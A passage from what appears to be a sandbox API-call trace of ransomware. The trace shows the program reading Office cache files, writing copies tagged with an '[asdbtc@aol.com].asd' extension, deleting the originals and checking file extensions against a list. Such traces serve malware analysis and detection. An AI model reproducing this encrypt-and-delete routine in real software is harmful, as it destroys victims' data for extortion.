"c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.325] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=4207) returned 1 [0042.325] CloseHandle (hObject=0x1a0) returned 1 [0042.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.326] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.326] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0042.328] GetLastError () returned 0x0 [0042.328] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x106f, lpOverlapped=0x0) returned 1 [0042.331] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0042.332] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.332] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.332] SetEndOfFile (hFile=0x1a4) returned 1 [0042.332] CloseHandle (hObject=0x1a4) returned 1 [0042.333] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.333] SetEndOfFile (hFile=0x1a0) returned 1 [0042.334] CloseHandle (hObject=0x1a0) returned 1 [0042.334] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.334] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0042.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.334] lstrlenW (lpString=".doc") returned 4 [0042.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.334] lstrlenW (lpString=".docx") returned 5 [0042.335] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.335] lstrlenW (lpString=".pdf") returned 4 [0042.335] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString=".xls") returned 4 [0042.335] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString=".xlsx") returned 5 [0042.335] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.335] lstrlenW (lpString=".ppt") returned 4 [0042.335] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.335] lstrlenW (lpString=".zip") returned 4 [0042.335] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.335] lstrlenW (lpString=".rar") returned 4 [0042.335] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString=".bz2") returned 4 [0042.335] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString=".7z") returned 3 [0042.335] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.335] lstrlenW (lpString=".dbf") returned 4 [0042.335] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.335] lstrlenW (lpString=".1cd") returned 4 [0042.335] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.335] lstrlenW (lpString=".jpg") returned 4 [0042.335] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.335] lstrlenW (lpString=".doc") returned 4 [0042.335] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString=".docx") returned 5 [0042.336] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.336] lstrlenW (lpString=".pdf") returned 4 [0042.336] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString=".xls") returned 4 [0042.336] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString=".xlsx") returned 5 [0042.336] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.336] lstrlenW (lpString=".ppt") returned 4 [0042.336] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.336] lstrlenW (lpString=".zip") returned 4 [0042.336] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.336] lstrlenW (lpString=".rar") returned 4 [0042.336] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString=".bz2") returned 4 [0042.336] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString=".7z") returned 3 [0042.336] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.336] lstrlenW (lpString=".dbf") returned 4 [0042.336] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.336] lstrlenW (lpString=".1cd") returned 4 [0042.336] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.336] lstrlenW (lpString=".jpg") returned 4 [0042.336] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.337] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.337] lstrlenW (lpString="Setup.xml") returned 9 [0042.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.337] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=2424) returned 1 [0042.337] CloseHandle (hObject=0x1a0) returned 1 [0042.337] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.337] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.337] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.337] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0042.339] GetLastError () returned 0x0 [0042.339] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x978, lpOverlapped=0x0) returned 1 [0042.341] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x980, lpOverlapped=0x0) returned 1 [0042.342] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.342] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.342] SetEndOfFile (hFile=0x1a4) returned 1 [0042.342] CloseHandle (hObject=0x1a4) returned 1 [0042.343] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.343] SetEndOfFile (hFile=0x1a0) returned 1 [0042.344] CloseHandle (hObject=0x1a0) returned 1 [0042.344] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.345] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0042.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.345] lstrlenW (lpString=".doc") returned 4 [0042.345] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.345] lstrlenW (lpString=".docx") returned 5 [0042.345] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.345] lstrlenW (lpString=".pdf") returned 4 [0042.345] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.345] lstrlenW (lpString=".xls") returned 4 [0042.345] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.345] lstrlenW (lpString=".xlsx") returned 5 [0042.345] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.345] lstrlenW (lpString=".ppt") returned 4 [0042.345] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.345] lstrlenW (lpString=".zip") returned 4 [0042.345] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.345] lstrlenW (lpString=".rar") returned 4 [0042.345] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.345] lstrlenW (lpString=".bz2") returned 4 [0042.345] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.345] lstrlenW (lpString=".7z") returned 3 [0042.345] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.345] lstrlenW (lpString=".dbf") returned 4 [0042.346] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.346] lstrlenW (lpString=".1cd") returned 4 [0042.346] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.346] lstrlenW (lpString=".jpg") returned 4 [0042.346] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.745] lstrlenW (lpString=".doc") returned 4 [0042.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.745] lstrlenW (lpString=".docx") returned 5 [0042.745] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.745] lstrlenW (lpString=".pdf") returned 4 [0042.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.746] lstrlenW (lpString=".xls") returned 4 [0042.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.746] lstrlenW (lpString=".xlsx") returned 5 [0042.746] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.746] lstrlenW (lpString=".ppt") returned 4 [0042.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.746] lstrlenW (lpString=".zip") returned 4 [0042.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.746] lstrlenW (lpString=".rar") returned 4 [0042.746] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.746] lstrlenW (lpString=".bz2") returned 4 [0042.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.746] lstrlenW (lpString=".7z") returned 3 [0042.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.746] lstrlenW (lpString=".dbf") returned 4 [0042.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.746] lstrlenW (lpString=".1cd") returned 4 [0042.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.746] lstrlenW (lpString=".jpg") returned 4 [0042.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.746] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.746] lstrlenW (lpString="Setup.xml") returned 9 [0042.747] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.564] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=6241) returned 1 [0043.564] CloseHandle (hObject=0x188) returned 1 [0043.564] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.564] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.564] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.564] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.564] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.938] GetLastError () returned 0x0 [0043.938] ReadFile (in: hFile=0x188, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x1861, lpOverlapped=0x0) returned 1 [0044.031] WriteFile (in: hFile=0x198, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0044.032] ReadFile (in: hFile=0x188, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.032] WriteFile (in: hFile=0x198, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.032] SetEndOfFile (hFile=0x198) returned 1 [0044.033] CloseHandle (hObject=0x198) returned 1 [0044.034] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.034] SetEndOfFile (hFile=0x188) returned 1 [0044.034] CloseHandle (hObject=0x188) returned 1 [0044.035] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.035] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.035] lstrlenW (lpString=".doc") returned 4 [0044.035] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.035] lstrlenW (lpString=".docx") returned 5 [0044.035] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.035] lstrlenW (lpString=".pdf") returned 4 [0044.035] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.035] lstrlenW (lpString=".xls") returned 4 [0044.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.035] lstrlenW (lpString=".xlsx") returned 5 [0044.035] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.035] lstrlenW (lpString=".ppt") returned 4 [0044.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.036] lstrlenW (lpString=".zip") returned 4 [0044.036] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.036] lstrlenW (lpString=".rar") returned 4 [0044.036] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString=".bz2") returned 4 [0044.036] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString=".7z") returned 3 [0044.036] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.036] lstrlenW (lpString=".dbf") returned 4 [0044.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.036] lstrlenW (lpString=".1cd") returned 4 [0044.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.036] lstrlenW (lpString=".jpg") returned 4 [0044.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.036] lstrlenW (lpString=".doc") returned 4 [0044.036] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString=".docx") returned 5 [0044.036] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.036] lstrlenW (lpString=".pdf") returned 4 [0044.036] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString=".xls") returned 4 [0044.036] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.036] lstrlenW (lpString=".xlsx") returned 5 [0044.036] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.036] lstrlenW (lpString=".ppt") returned 4 [0044.036] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.037] lstrlenW (lpString=".zip") returned 4 [0044.037] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.037] lstrlenW (lpString=".rar") returned 4 [0044.037] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.037] lstrlenW (lpString=".bz2") returned 4 [0044.037] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.037] lstrlenW (lpString=".7z") returned 3 [0044.037] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.037] lstrlenW (lpString=".dbf") returned 4 [0044.037] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.037] lstrlenW (lpString=".1cd") returned 4 [0044.037] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.037] lstrlenW (lpString=".jpg") returned 4 [0044.037] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.037] lstrcmpiW (lpString1=".chm", lpString2=".asd") returned 1 [0044.037] lstrlenW (lpString="pss10r.chm") returned 10 [0044.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all 